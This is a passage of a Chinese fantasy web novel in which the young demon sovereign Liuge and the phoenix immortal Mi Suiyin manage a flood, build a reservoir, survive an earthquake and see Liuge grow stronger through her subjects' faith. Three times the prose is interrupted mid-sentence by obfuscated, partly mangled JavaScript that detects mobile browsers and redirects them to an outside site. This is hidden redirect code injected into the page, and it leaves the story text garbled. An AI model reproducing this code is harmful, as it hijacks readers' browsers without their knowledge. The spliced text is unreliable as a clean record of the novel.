矮矮的简陋的土墙边,弥随音冷脸抱着长弓,长身玉立,脸色比月色还要冷淡,仿佛他是天地间第一缕凝成霜雪的月光,是九霄之上最孤寂清寒的那片云。 “……如果,凤凰最后没能成为妖界的一份子呢?”人皇忽然拦了一下琉歌,琉歌便收回目光,仰头看他,铭榕神情居然有些犹豫。 “你知道的,我的神使,烛九阴祝商序,和凤凰是诞生自同一片混沌灵气的四仙兽之一。” “四仙兽从小一起长大,关系亲密……若最后,凤凰不愿成为妖界的助力,能否请你看在我的面子上,将他送到人界来,留他一条性命。”人皇一拱手,摆足了求人的姿态,“祝商序和他曾经关系甚笃,问情的悲剧,我不想再在任何人身上复刻了。” 琉歌略有些诧异的一挑眉,示意人皇细说,“这么说,你有愧于凤凰?我怎么没听凤凰提过?” “嗯,算是有愧于他。”铭榕目光投向压抑着怒气,在凤凰身边喋喋不休说着什么的祝商序,叹息道:“我和祝商序曾经杀过凤凰一次。” “那是太久远的时间了……妖皇,你可曾听过,凤凰弥随心?” 17. 新的起点 “该死的,要不我们还是打一架吧!” 祝商序是混沌四仙兽之首,早早归顺人皇,跟着人皇将仙魔全部赶出人界的二号功臣,虽跟着人皇当神使,却并不接受人族教化,兽性极重。 从诞生起就是个醉卧云端,敢向漫天诸仙叫板的煞神。 “弥随音,你躲我十万年还不够吗!我们俩整个人本历时期一面都没有见过,你到底要躲到什么时候!”祝商序暴躁把长发往后一抓,猛地抽出亢龙锏,“咱们还是打一架吧,就跟从前一样,打到什么程度都无所谓,无论谁赢了,这事就此翻篇,行不行?” “……祝商序,不一样的。”弥随音不接祝商序的约战,眼神落向别处,表明了抗拒与拒绝起冲突的态度,只静静等着琉歌和人皇谈完话,让人皇把他带回人界。“人皇是你的明主,但我绝不会再踏足人界。” 远处,琉歌和人皇并肩而立。 琉歌兴致勃勃的观察着两人的相处模式,忽然发现不只是祝商序,弥随音其实也没接受过多少人族教化。 毕竟混沌历时期,人族文化尚未成型,等人族赶走仙魔,进入人本历时期文化爆炸式发展时,凤凰已经在仙界闭关了。 眼神直视是挑衅,突破安全距离的肢体接触也带有威胁的意味……哈哈,琉歌突然噗嗤一笑,在心底腹诽道:“怪不得一路上待在她身边也不怎么愿意说话——社会化程度好差的仙君。” 若是如此,倒是能解释,为何琉歌这段时间观察下来,发觉弥随音虽然一直讲君子风度,但给人感觉,他的一言一行却像是从书上直接拓下来的一样。 书上没讲过的就不做,超出书本范围的东西就直接放弃思考等着琉歌做决定,琉歌若问他对某个人的看法,他第一反应也不是自己的想法,而是拿那人的行为与书上的君子行径比照…… 这倒是……很好用的一点。 要怎样将弥随音拉到妖族阵营,琉歌已经有些头绪了。 祝商序无语至极,“你十万年翻来覆去都是这句话,不累吗?”他啧了一声低声嘀咕道:“人皇还说时间总能冲淡一切,现在看来在你们身上都不适用。” “算了,算了,别的我也不问了——” 祝商序扫了一眼人皇那边,犹豫良久,最后目光还是落回弥随音身上,神兽比妖族还难学会人族的那些弯弯绕绕:“弥随音……你还是恨我,恨我当时没有放过弥随心,对吗?” 月光照进弥随音白金色的眼瞳里,衬得他瞳色比唇色还要惨淡,琉歌和人皇默契的都没有上前,琉歌看着弥随音,看他嘴唇颤抖片刻,最终冷硬的抿起,崩成一条顽固的直线。 “不,她做出那些事情,残害数千无辜人族,羽翼染血……”他再次移开眼,比起说服祝商序,他更像在说服自己,“就算……就算你们不杀她,我也要杀了她的——她已经愧为凤凰血脉。” “少放屁了,”祝商序翻了个白眼,“就你这个性格,弥随心杀人,你不巴巴的凑上去善后就算好的了!” “弥随音,凤和凰天生一体,灵魂相同,识海互通。你敢说,弥随心做的那些事你毫不知情吗?你那时,分明就是准备跟她一条路走到黑了!” 咄咄逼人。 琉歌目光在弥随音惨白的脸上逡巡而过,在心底点评到,知道他是来缓和关系的,不知道的还以为他今天是来挑事的呢。 “……可她已经死了!”凤凰仙君忍无可忍,手腕一抬,长剑直指祝商序眉心,“她是错的,所以我恨不得你和人皇,可她也已经——已经付出代价了。” 凤凰自混沌灵气诞生起便是双生,雄性称凤,雌性称凰。 世人会把凤和凰的关系异化为更好理解的关系,比如兄妹,姐弟,龙凤胎之类的,但都不是的。 凤就是凰,凰就是凤。 这世上也没有哪对龙凤胎能做到记忆和力量都共享,一个人的灵魂任意出入另一人的识海而不引起任何排斥反应。 更没龙凤胎能做到,一人死后,血脉和力量能回流灌注给另一个人。 “我听闻,轩辕问情的幼年期持续了一万年,琉歌情况也特殊,可能她的幼年期也会有一万年吧?我目前,真的懒得去想那些东西了,只想先将琉歌稳稳送上妖皇的位置。” “……祝商序,祖龙常妄现在也在妖界,你想热闹,就找他去吧。”他冷静了片刻,推开祝商序向前院走去,他感知到琉歌的空间屏障消失了,应该是两人已经谈完了话。 祝商序望着他离去的背影,默然良久,叹息一声,神色落寞。 人皇苦笑一声:“祝商序爱热闹,重情义,这天地间,只有和他同一片混沌灵气诞育的四仙兽是他认可的同类。” “四仙兽中,祖龙常妄亲近人族,跟人族一样想封侯拜相,白泽知晓天下之事,目前身居冥界帮冥主管理轮回,四仙兽中,只有凤凰和祝商序一样喜欢打架,两人旗鼓相当,最是亲近。” “弥随音……以前喜欢打架啊?”琉歌有些好笑的一挑眉,“我懂你的意思了,后来位面混战,你和祝商序杀了他亲近之人,现在两人决裂了,对吧。” “祝商序想修复关系的话,我可以提供一些便利,”琉歌只是笑笑,对于人皇的提议含糊而过,没说同意也没说不同意,“但我师尊不乐意的话,我肯定不会帮你们逼迫他哦。” 目送人皇离开,琉歌转手就往妖界屏障上附上了自己的神魂印记——现在无论谁,只要触碰妖界屏障,琉歌就能感应到,以便及时做出反应。 “颂颂,见字如晤。” 她想了想,掏出玉牌,跟暂时留在青丘的颂颂传信道:“第四洲水灾情况比我想的严重,但安全状况比我想的好点,你可以过来了。同时,让白水边在青丘详细的查一个人——和弥随音同属凤凰一族的神凰血脉,弥随心。” 翌日早—— “……神,神女大人……”能在百废待兴的妖界当上第一批领主的,定然都是当年人妖大战的功臣,都见过问情尊上,也见过问情尊上施展的空间权柄。 琉歌昨晚那么大的动静,他们又实力顶尖,再怎么耳聋眼瞎也该注意到了,此时装傻就是真傻子了。 “神女大人,我们接下来是否要通告……呃,通告神庭一声?神庭似乎一直在找您……”风弄堂实力最强,年纪最大,被危秋挤眉弄眼的推到前面当话事人。 “不必,就是神庭派我到这里的。”琉歌神情淡淡脸不红心不跳的扯谎,她忽然勾勾手,示意两人附耳过来。两人不敢违逆,单膝跪地战战兢兢的靠过去,准备聆听神女教诲。 “你们可曾想过,神族在自己的领地几乎就是无敌的存在,为何问情尊上会死于魔尊之手?” “神庭怀疑,妖界有叛徒!” 她压低声音,音色平和,丢出的话语却宛如一重磅炸弹!! 危秋惊骇不已,倒吸一口凉气,他脑子转的快,顿时单膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310230|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变双膝往地上一磕,哭丧着脸道:“神女大人,第四洲忠心耿耿,神庭指哪我们打哪,叛徒绝不可能出自第四洲!” “别紧张,”琉歌轻笑,“神庭将第四洲定为我的第一站,自然对第四洲的情况心知肚明。” “对,对,哈哈……是这个道理哈……”危秋和风弄堂对视一眼,都从对方口中看到了劫后余生般的松了口气。 “行了,该干什么干什么去,只记住了,我目前的身份是神庭派出来解决第四洲水患的,对第四洲外的人不要暴露我的身份。”琉歌说完,冲弥随音一伸手,凤凰了然,稳稳抱着她振翅而起,向逐云山脉山洪最严重处飞去。 危秋和风弄堂赶紧起身,紧随两人而去。 很快,琉歌便看到了藏纵夏口中,逐云山脉向东凸入悬光海的弯折点。 “原来如此……”琉歌思索良久,在弥随音臂弯里展开地图,无需多言,凤凰已经细心的撑起屏障,给她挡住高空中强劲的急流风。 “这片区域尚未获救的灵化幼崽我都标记出来了,你们两个,先去救人。”琉歌抬手将坤元堪舆镜抛向危秋,危秋在空中一个漂亮的俯冲稳稳接住,已经两两组队完毕的隼族和虎族救援队立刻领命,分散开来,向各处去了。 “你看,师尊,因为这道凸起弯折,这段山脉前面凸入悬光海,降雨量大,背面又因此形成了一个,会将附近山洪汇聚起来的聚水点——这个点就在海镜河前半段。”琉歌摩挲着地图,陷入沉思。 “怪不得山洪一下子冲入绣骨平原了……”凤凰听懂了琉歌的意思,“这个聚水点,平常为海镜河提供了丰沛的水源,支撑海镜河一路南下,流过绣骨和天倾两个平原,最后汇入天倾泊。” “但在水患时,海镜河道就是山洪天然的发泄口,它的下半段流速又和缓,河道宽而平,山洪一来,直接就漫溢了,两边沿河而建的村落颇多,第四洲这次……只希望最后统计出来,人员伤亡不要太严重……” 凤凰叹息一声,单手控剑向下一挥,剑气如微风拂面,下一刻,昏黄的洪水猛地被劈开,水中翻腾的一只霜鬣鱼眨眼间被斩为两段! 救援队的虎族小辈立刻涉水上前,将死里逃生的幼崽抱到了安全的地方。 “危秋,你对水利有些了解,你觉得该怎么处理这个聚水点?”琉歌招招手,危秋翅膀一拍,来到她身边和她一起看着下方的漫漫洪水。 “嗯……依我看,肯定是要尽快建立一个够大的水库,将山洪汇聚其中,减少对下游的伤害,然后再想办法向别的地方排水。” 危秋身上有股没被磋磨过的机灵劲,当年危天梭一时心软救下的小幼崽,现在已成为她的伴侣,最得力的副手,和两个孩子的父亲。 “神女大人,在下有个粗略的想法,不知大人可否愿意听一听。”危秋正色拱手道:“若按常规思路向南排水,这条排水之路几乎横跨整个第四洲,实在难以实现——在下想,我们还是该向北排水入围海。” 琉歌和整个第四洲的地脉相连,危秋一边说,她一边在识海里模拟着各种情况,听到危秋的建议,她动作一顿,忽然笑了起来:“很大胆,原来如此,你的想法很好。” “若在这里建水库,山洪带来的水汇聚其中,沙石也都会汇聚其中,那时,整个水库的高度便会被不断抬高——等到水库高于北面地势之时,我们便可开凿河道,引洪入海,以水库为新运河的起点,向围海排水泄洪!” 18. 第一运河开工! “何不让这里成为新的起点?” 弥随音一愣,有些怔然的低头,望向说这话的琉歌,就见琉歌笑盈盈的抬眼,一挑眉与他对上了视线——这句话就像是她故意说给他听的。 “这里的情况我已经差不多了解完了,风弄堂,你们那边怎么样了?”琉歌眨眨眼收回视线,神魂内视识海,只见其识海上空,静静悬浮着一等比例缩小的逐云山脉。 风弄堂御剑而上,将坤元堪舆镜双手递还给琉歌,恭敬汇报道:“逐云山脉内未获救的116位幼崽已经全部被找到了,受伤的幼崽已经在隼族协助下,以最快的速度送上了太华山接受医治。” “很好,水患过后容易爆发水疫,记得不要放松了对那些未受伤幼崽的保护。”琉歌沉思,“不知道联合副会里现在有多少空闲的炼药师……等我传信去问问吧,第四洲现在能用的炼药师有多少?” 联合副会,全称是妖界特殊副职业联合互助公会。 由妖皇问情建立,用以规范管理炼药师,炼器师和符咒师等特殊副职业的组织。 听到琉歌的问题,风弄堂面露难色,“问情尊上陨落后,联合副会受波及严重,几度停摆,虎族和狼族倒是有一些太平年间成长起来的低阶炼药师,但数量上……” 琉歌再次深深感受到,问情的突然离世,到底给妖界带来了怎样阵痛不止的当头一棒。 她的祈愿,规划,理想和野心,现在竟然只能在百姓痛惜的神色间得以窥见了。 “琉歌,我可以去看看。”弥随音忽然出声道:“我在仙界闭关的那些年,自学了不少炼药方面的东西,或许会有些帮助。” 他说的谦虚,琉歌便凑近了悄悄问道:“师尊,你现在炼药水平在哪个等级?” 就如修炼分为练气,筑基,金丹,元婴,出窍,化神,合体,渡劫和飞升九级,炼药师和炼器师等特殊副职业等级与修为相对应,从低到高分为一到九级,九级为顶级。 弥随音想了想,答道:“我上次去时,仙界那边的炼药师联盟首席跟我说,我的水平和他已经差不多了——这应该是九级的意思?” “……师尊,谦虚是好事,但你也谦虚太过了吧。”人在无语的时候真的会笑,他当时说的那么谨慎,琉歌还真以为他只通皮毛呢,“也对,师尊是天地钟爱的凤凰血脉,天赋肯定不弱。” 弥随音只是笑笑:“哪有什么天赋,你要是也有十万年无所事事的时光,就会发现炼药师九级并不难达成……修为和经验积累下的顺水推舟罢了。” 太华山内,苍狼族领主藏纵夏推门而入,“神女大人,好消息!” 屋内,琉歌掌心一抬,将她拓印下来的逐云山脉模型投到桌上,闻言眼都没抬:“我猜,好消息是你姐姐要回来了?” “咦?您怎么知晓的?”藏纵夏一愣,呆呆的挠了挠头。 “傻子,肯定是神女大人给神庭下的令啊!第四洲人手严重不足,我们家危天梭也已经在回来的路上了。”危秋笑着把藏纵夏往自己身边一拽,示意他别发愣了,赶紧听神女大人之后的安排。 “对了,这位是颂颂,我用惯了的副手,之后会跟我一起行动,负责我的饮食起居,目前是筑基期。” 琉歌招招手,颂颂立刻上前两步,她早已在心底排练过千百遍,也不怯场,落落大方的一行礼,“颂颂承蒙各位照顾了。” “好了,说正事吧。” 琉歌手一指海镜河上半段发源地附近,说出了自己的计划:“经过一上午的勘测,我们发现这个位置,是整个逐云山脉最大的山洪汇聚点——若在此建一水库,则可以保证大部分山洪被拦在绣骨平原之外。” 她一边说一边以神识模拟山洪,在逐云模型上演示着自己的想法,好让几位领主看得更直观。 随着修为上升,灵力和精神力都会不断上涨,一般来说,金丹之后才能打开识海,认识到精神力的存在,元婴期对精神力的了解加深,而想像神女这样讲精神力化为实体外化放出,起码要出窍……不,起码要化神期修为。 本来对琉歌身份还有些疑虑的风弄堂彻底将心放回了肚子里。 ——她若不是神女,就是化神期大能,无论是那种身份,若她心怀不轨,完全不需要在这里虚与委蛇,因为这里没人是她的对手。 “我们那天说,第四洲的问题有三:水,沙和涝。” 琉歌环顾一圈,见他们都听懂了,便继续道:“看,这个水库建成后,不仅拦水,也蓄沙,随逐云山脉而下的山洪携带的泥沙都将汇入这个水库,泥沙淤积之下,水库水位不断上升,很快就会高过第四洲北边——” 她指尖虚虚在围海和水库间划过,逐云模型是她精神力所化,自然随她心意变动,一条宽阔的运河水道立刻在模型上浮现。 “就像这样,北边地势高水流不过去的问题便有了解决办法。” “居然是用沙解决水的问题么……”风弄堂目露惊喜,大笑着拍了拍危秋,夸赞道:“危天梭说的没错,你是有些主意在身上的。” 第四洲北部大部分是苍狼族领地,藏纵夏观察片刻,觉得这方案作为应急排水方案完全可行,“既然在苍狼族的领地,就让我来吧,但海镜河现在淤堵严重,或许还需要土系的风领主相助。” “现在洪水还未退去,等洪水退去,那时压在水下的腐烂尸体就会暴露出来,易招致水疫。风弄堂,你来组织人手,给随心大人一份第四洲的炼药师名单,以后和疫病,炼药相关的事情先报给他,他解决不了了再来找我。” 弥随音一瞬间有些想说什么,琉歌注意到了,但她故意做出毫无察觉的样子,皱着眉思索着继续分配任务,果不其然,弥随音又将那些话咽了回去,接受了琉歌的安排。 ——人界是弥随心埋骨的伤心地,冥界魔界和凤凰天性相克,这三界弥随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310231|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音是肯定不会去的。 琉歌收回视线,在心底勾出一张巨网,巨网中心,是对危机毫无察觉的弥随音。 凤凰仙君说到底是心软的,看不得魔界侵略妖界杀死问情,就愿意剖骨圣坛,助妖皇降生,看不得她被逼参与融合仪式,宁愿与妖界神庭为敌也要带走她。 他太强了,除了神族,他在这个世上实在是难逢敌手,于是行事也无所顾忌,随心随性。 这也是琉歌最好利用的一点。 她要不断加强弥随音和妖界的联系——而短时间内可以建立的最深刻的关系,无疑就是救命之恩。 正好,他又是顶级的炼药师,去救人无可厚非。 “接下来,藏纵夏和风弄堂跟我去修水库,虎族和苍狼族分别去疏通海镜河和靛穹河,我记得天倾泊入海口是隼族在负责?那就继续,加快进度,尽快排涝。” “暂时就是这样吧,师尊,今日这个临时幼崽保护处就交给你了。”有神兽坐镇,想来应该是没有不长眼的兽族敢来攻击这里了。 琉歌于是亲昵的冲弥随音眨眨眼,带着藏纵夏和风弄堂就要离开,凤凰仙君却忽然叫住了她:“琉歌,等一下。” 她停在门槛处,回首望向弥随音,只见黑发的凤凰仙君一按储物袋,抽出随身长剑,连着剑鞘一起递给琉歌,避开两位领主,在识海里传音道:“这里面储存了我的一道剑意,若遇到危险,记得用。” “这道剑意凝聚了我十万年间对剑道的感悟,就算是人皇亲临,这道剑意也够让他留下一只胳膊了。”他跟着琉歌的几天,深刻意识到了琉歌的敌人都是什么层次,“不要吝惜,你的安全最重要。” “还有这个,”他拔下头顶的青竹长簪,动作轻缓的给琉歌别到发间,“我昨晚往里面铭刻的一些阵法,你也带上。” 琉歌这下真是有些哭笑不得了,看来接连的郁柏和人皇事件将弥随音吓得不轻,但送上门的法器岂有拒收的道理? “谢谢师尊,”她笑着摸了摸头顶的发簪,冲弥随音摆摆手,转身远去了。 弥随音起身,虎族小辈恭敬的递上一份名单:“随心大人,颂颂大人,第四洲会炼药的妖族都在这里了。” “很好,先带我和颂颂去看看这两天从洪水里救出来的幼崽们。” 弥随音接过名单,和颂颂一起一目十行的扫过,眉头忍不住越拧越紧——这名单上,除了两位妖族金丹长老是三阶炼药师,其余零零散散都是些一阶和二阶的入门级炼药师。 这是颂颂能独立之后第一次出青丘妖都,妖都和其余几洲的差距就这么糊了她一脸。要知道,保有兽族特性,化形半失败,被认为是底层妖族的颂颂,现在也已经是二阶炼药师了。 而且她的经验和对药材的理解已经足够,只等修为突破金丹,就能顺利晋升三阶炼药师。 “青丘妖都和其他地方的差距……居然有这么大?” 19. 即将恢复成年形态 “既然如此,先把这名单上的所有人都带到我面前。”与其在这里浪费时间震惊,不如先把所有有炼药基础的妖族都召集起来,再由弥随音进行简单的培训,再让他们分门别类,各司其职。 “颂颂,你负责对他们进行第一道面试,问清楚师从何人,目前是何等级,是否有治疗大型疫病的经验,或者有随军经验的也行……将你觉得有用的,都送到我面前来。” 弥随音沉吟片刻,算是有条不紊的,将幼崽保护处内众人全部调度了起来。 太华山上忙而不乱,逐云山脉气氛则比较紧张。 琉歌站在逐云山顶,眯着眼远眺遥远的海天一线处,只见渺远的海平面上,不久前被凤凰驱散的积雨云已重新形成黑云压境之势,正在天边翻滚着,向逐云山脉而来! “神女大人,已经探明了,积雨云距离这里还远,以现在的风向和风力判断,这波积雨云至少明晚才能移到这里。” 琉歌身畔忽然卷起一阵清风,危秋拍拍翅膀,在半空中便收拢双翼,轻而稳的落到琉歌侧后方,恭敬的汇报道:“神女大人,以我们几人的修为,明晚之前修好水库还是绰绰有余的。” 修真世界就是这点好,实力上去了,移山填海都不过一念间。 今日建好水库,明日让藏纵夏去守幼崽,把弥随音换出来再清理一波积雨云,第四洲水患也就差不多解决了,之后琐碎的维护和优化可以留个领主们去操心。 琉歌收回视线,微微颔首,赞同了危秋的说法,她横臂向后一挥,清晰的声音传入身后所有妖族耳中——“好,所有人,开工!” 水库选址是琉歌和风弄堂一起定下的,琉歌有坤元堪舆镜能探明地脉,风弄堂则是土系天灵根,对大地的感知和操控可能并不弱与现在力量不足的琉歌。 天灵根是指体内某一灵根的纯净度到达了顶级,对这种灵气的亲和度极高,是万中无一的顶级天赋,修炼起来事半功倍。 逐云山脉背面这处,肚大口小,南北东三面皆有水汇聚入次,出口却只有西面一条海镜河,只要在海镜河上建起堤坝,就完全可以做到调控洪水,削洪控峰。 有水系的藏纵夏和危秋带着苍狼族和隼族将一袋袋沙土和巨石投入河道,大坝的雏形初显。 风弄堂和琉歌两人则在将要蓄水的水库内聚精会神的仔细勘探着,这个水库最后算出的预期蓄水量堪称恐怖,水库主体的地质条件容不得一点马虎,绝不能出现空腔,暗河和断层。 琉歌这边没发现什么问题,整体完整而坚固,但她还是心头隐隐萦绕着不安,掌心摊开,只见无数红线在堪舆镜内扭成一团。 “借因窥果!”琉歌思虑片刻,还是决定动用部分力量,先试着看看究竟是哪里让她觉得不对。 铜镜内,红线犹如受到了号令,原本嘈杂扭曲,杂乱无序的红线顿时一肃,紧接着,有些红线消散,有些沉寂,最终,只有一根红线顽强的指向天边尚且距离遥遥的积雨云。 其余红线化为黑气缠绕其上,甚是不详。 “什么意思?积雨云会给我带来麻烦吗?”琉歌还没沉思多久,就听水库另一边的风弄堂呼唤道:“神女大人,这里的山体有些不稳,有个断层向那边蔓延去了。” “我来处理。”琉歌收回望向天边的疑虑的目光,应声道:“风弄堂,藏纵夏,你们加快进度,危秋——你再去积雨云那里看一眼。” 危秋一愣,但还是立刻应了,振翅而起,向天边去了。 琉歌这才稍微放下心来,空间权柄发动,身形一闪,出现在风弄堂身侧。 风弄堂显然还没适应琉歌的速度,吓得往后退了一大步,等他尴尬的摸摸鼻子,重新凑上去时,坤元堪舆镜已经贴上了需要修复的断层。 风弄堂和这片土地的联系尚未断开,一瞬间,他只觉得自己的一双眼,透过大地的皮毛,看到了祂的骨血走向,呼吸起伏! 他哑然良久,半响才反应过来——自己刚刚借着妖皇权能,短暂的看到了清晰的妖界地脉! 琉歌微眯着眼,将断层上下两处离得最近的两根主干地脉轻微位移,移得更靠近断层后,她直接抽空的断层处断裂溢散的地脉能量,注入上下两根主干地脉,令主干新生出无数细小的地脉分支。 到了这一步,已经基本算是修补好了,琉歌悄然松了口气,操控细小分支,像织一张渔网般将断层处细密的包裹了起来。 “好了,风弄堂,你再往这里注入一点土灵气做粘合。”琉歌松手,带着风弄堂踏风而起,山谷出口,在元婴藏纵夏的帮助下,堤坝已经初具雏形,水库本就位于海镜河源头附近,这边大坝刚一成型,水库内水位顿时往上窜了一截! 正巧危秋也回来了,他冲琉歌摇摇头,意思是一切正常,没有意外情况。 琉歌总算放下心来,看了眼天色尚早,露出一点笑意来:“好,我们几位再加把力,若按照这个进度,不出两三天,第四洲水患可解。” 突然间,预警像是流星划过琉歌的识海,眨眼间让她心底警铃大作! 却见水面突然间无风起浪,水库边,完善大坝最外层的妖族不知为何一个踉跄,他茫然一抬头,还未搞清楚状况,刹那间天旋地转! 他惊叫一声,不受控制的向后倒去,一头栽向湍急的海镜河中! “地龙……地龙翻身了!是地震!!” 危秋眼神一凛,俯冲而下就要去救那跌落堤坝的妖族,琉歌动作比他更快一步,空间权柄光芒一闪,霎时笼罩了整个山谷! 空间作为和时间齐名的创造性权柄,其强悍不言而喻。 空间权柄只要张开,几乎不可能从内部打破,因为……空间内,空间的主人就是唯一的创世主,空间内万般变化,都在创世主的一念之间。 下一刻,跌坐在地的,在湍急河流中挣扎的,四散奔逃的妖族,全部被一股力量托了起来! 脚下,地龙翻身,水面形成巨浪拍岸,逐云山脉巨大而绵延的身躯抖动着,打了个巨大的喷嚏一样,将滚滚泥沙树石化为黑棕色的泥石流,直奔水库而来! 这地震有蹊跷! 琉歌低声暗骂了一句妖界脏话,空间是很强悍,但操控空间也很消耗能量啊! 没办法,她松开对风弄堂几人的控制,一把把几人传送到泥石流面前:“给我拦住!无论用什么办法,不许让泥石流冲入水库!” 风弄堂反应最快,他低喝一声,一道人字形的土墙立刻在水库和泥石流之间升起,藏纵夏和危秋虽然没有土系,却都是水系,立刻尝试操控泥石流中的水,削减它的速度。 但还是来不及了,侧面被遗漏的一股泥石流,已经携雷霆之势轰鸣着冲入了水库之中! 整个山谷猛的一抖,一道远比琉歌想象中更可怕的巨浪腾的升起,扑向经过一次地震摧残,已经摇摇欲坠的大坝! 在水库已经蓄水不少的情况下,若是大坝崩溃,水库内积蓄的水全部涌入下游,那在海镜河下游疏通河道的那些低阶妖族,恐怕全都会凶多吉少—— 没办法了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310232|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 琉歌长长吐出一口气,坤元堪舆镜发动,地脉内无数能量像是得到了号召,立刻挣脱地脉束缚,奔涌着向天地中央的琉歌而来—— 银发神女……不,应该是银发的妖皇抬手遥遥一指,仿若有一股巨力从天而降,将暴虐汹涌的巨浪猛地压回了水库中! 妖皇显灵了! 在场的所有妖族全部瞠目结舌,他们做梦也不敢想,自己有朝一日还能亲眼目睹妖皇行使权柄。 水库摇晃了几下,本就是个半成品的堤坝还是撑不住了,一大股水流破堤而出涌向下游,眼看水库就要决堤,遥远的天际,一声悠长的狼嚎响彻天地! “哎,哎哎哎——姐姐!”藏纵夏辨认出这是自家姐姐的声音,立刻兴奋起来,“是藏权云回来了……还有危天梭领主!” 琉歌喘息着,捂住因承受不住巨量灵气而流血不止的右手,勉强抬眼,只见一匹通体漆黑的巨狼自逐云山巅一跃而下,下一瞬,原本摇摇欲坠的长堤外层顿时凝出一层厚重的冰壳,冰壳疏漏处,一人高的金属长枪宛如细针,细细密密的填补了它的缺漏。 较劲一般,第四洲南部,天倾泊的位置,一声清亮而高昂的龙吟缓缓荡开——妖界第一洲,龙岛的支援终于到了! 危天梭忧心幼崽,眼见这里情况已经稳定,立刻翅膀一拐飞往太华山去了。 片刻,神色匆匆的凤凰仙君踏风而来,“琉歌!”他立刻来到琉歌身旁,见琉歌脸色苍白的吓人,手背在身后,神态还算镇定。 “……师尊。”她满脸都是汗,见弥随音来了,整个人才松懈下来一般,疲惫的笑了笑,缓缓将受伤的右手从背后拿了出来,语气含笑:“事发突然,我也没确定敌人是谁……没用上你的剑意和阵盘,怪可惜的。” “现在还说这种话!”弥随音恨不得戳她的脑门,忍了又忍,还是忍不住骂道:“这里有那么多元婴和出窍期强者,为何不用,为何要自己硬抗!?” “就算他们都不好用,还有我呢——”弥随音轻轻将琉歌的手握进掌心,温暖的凤凰火在两人交握的手掌间燃起,片刻而灭,“为何不用空间权柄把我传送过来?” 琉歌再一看,被海量灵气撑伤的经脉,血管,皮肤,已经全部愈合了。 她尝试着动了动手指,立刻被弥随音按住,这位向来好脾气的仙君真是对琉歌没招了,“我真是一秒都不能离了你身边……下次再遇到这种事情,一定要记得我,记住了吗?” 琉歌怔愣了一瞬,随即笑着点点头。 “那个……妖皇尊上……”藏纵夏在旁边做了半天心理建设,涨红了脸,终于鼓足勇气,压住激动到颤抖的声线,一俯身,中气十足的行礼道:“拜见妖皇尊上!” 琉歌侧头望去,在藏纵夏几位领主之后,无数妖族跟着他们一起俯身行礼,向琉歌表达最崇高的敬意与拥护—— “拜见妖皇尊上!” 琉歌望着他们,望着自己的百姓,子民,刹那间仿若进入了某种玄而又玄的状态,每个妖族身上都有或多或少的一股能量蒸腾而起,在琉歌疑惑的目光里,化为流光钻入她的体内! “咚,咚咚,咚咚咚——!” 心跳越来越快,力量在胸腔内鼓荡!琉歌诧异的抬手抚上自己心口,她很确定,自己现在没有抽地脉的能量,那么……这些力量又从何而来? 信仰。 冥冥之中,一个答案在琉歌的识海浮现,被她紧紧握在掌心。 信仰,原来可以让我强大的,是信仰。 20. 蹊跷 数条龙族自天倾泊腾云而起,一头扎进了已经无限逼近逐云水库的积雨云里,弥随音认出,其中一人是自己的老朋友——四仙兽之一,随问情打下妖界,被封第一洲唯一领主的祖龙常妄。 他看过一眼后就收回了目光,集中精神,让精神力仔细流过琉歌的每一寸经脉,确定她没有因为这次逞强留下暗伤。 “……师尊,我感觉不太好。”她紧拧着眉,按在心口上的左手无意识的用力,喘不上气一般攥着心口的布料,“有点痛……我好像不太会消化信仰……” 琉歌突然反握住弥随音的手,这话一出,弥随音也感到不对劲了——一股他看不见,探不明的力量,正在琉歌的经脉里横冲直撞! 她现在只有四五岁大小,连弥随音整个手掌都握不住,攥着他的三根手指,掌心满是冷汗。 “别怕,琉歌,别怕,我可以帮你先把那股力量抽出来……”琉歌尚不是妖皇,经脉稚嫩,凤凰倒是可以用自己的修为把那股力量强压下去,但琉歌的经脉定然是受不了这样的折腾的。 琉歌却突然松开了弥随音的手,冲他摇了摇头,神色居然堪称狠厉:“我身为妖皇,决不允许妖界出现我不能掌控的力量——不管祂是什么,在我体内,就该听我号令!” 下一刻,琉歌眉心繁复而古老的妖皇神纹骤然显现! 头顶,天光忽然大亮,积雨云在龙族的努力下本就已经只剩薄薄一层,被琉歌引动的灵气乱流猛地一扫,立刻消散不见了。灿金色的阳光穿透昏暗的一切,照在琉歌身上。 她将弥随音向远处一推,猛地踏风而起,向上飞去! 在她身后,一座恢宏而盛大的神座伴随着响彻天地的钟鸣声,出现在天地间! 头顶,阳光为她而散落大地,龙族在青天中长吟,庆贺妖皇的诞生,脚下,凤凰化为真身,烈焰般赤红的神鸟在她身侧盘旋,发出阵阵清越的啼鸣—— 